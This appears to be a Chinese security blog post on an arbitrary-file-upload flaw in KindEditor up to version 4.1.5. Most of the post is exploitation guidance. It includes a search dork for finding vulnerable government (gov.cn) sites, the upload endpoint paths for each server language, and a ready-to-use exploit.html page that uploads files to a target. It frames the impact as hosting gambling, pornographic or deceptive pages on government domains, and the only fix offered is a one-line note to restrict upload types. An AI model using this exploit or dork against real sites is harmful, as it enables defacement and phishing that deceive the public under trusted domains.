22.jpg

漏洞等级:高危

Kindeditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。

11.jpg

漏洞描述:

Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持

Java、.NET、PHP、ASP等程序。

漏洞利用:

通过搜索引擎找到目标,比如:搜索关键字 inurl:gov.cn/kindeditor

通过访问http://www.xx.gov.cn/kindeditor/kindeditor.js,查看kindeditor版本是否含有漏洞(<=4.1.5)

获得网站使用的开发语言,并确定kindeditor上传文件地址,各种语言上传地址如下:

  • /asp/upload_json.asp

  • /asp.net/upload_json.ashx

  • /jsp/upload_json.jsp

  • /php/upload_json.php

创建exploit.html页面,编辑内容如下:

<html>
<head>
<title>kindeditor exploit</title>
<script src="http://www.xx.gov.cn/kindeditor/kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
	var uploadbutton = K.uploadbutton({
		button : K('#uploadButton')[0],
		fieldName : 'imgFile',
		url : 'http://www.xx.gov.cn/kindeditor/asp.net/upload_json.ashx?dir=file',
		afterUpload : function(data) {
			if (data.error === 0) {
				var url = K.formatUrl(data.url, 'absolute');
				K('#url').val(url);
			}
		},
	});
	uploadbutton.fileBox.change(function(e) {
		uploadbutton.submit();
	});
});
</script>
</head>
<body>
<div class="upload">
	<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

浏览器访问页面效果如下:

1.png

选择文件test.txt文件(文件内容:test…2019/03/04),网站审核元素,查看返回结果,如图:

2.png

访问网址结果如下:

3.png

漏洞影响:

由于该漏洞无法上传php,asp,java等类型文件,所以无法getshell,但是可以上传包含色情、赌博等类欺骗性html网页,如果上传到政府类网站,不法分子会利用政府域名的权威性达到欺骗普通用户的目的,所以危害性很大。

解决办法:

 限制上传文件类型

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。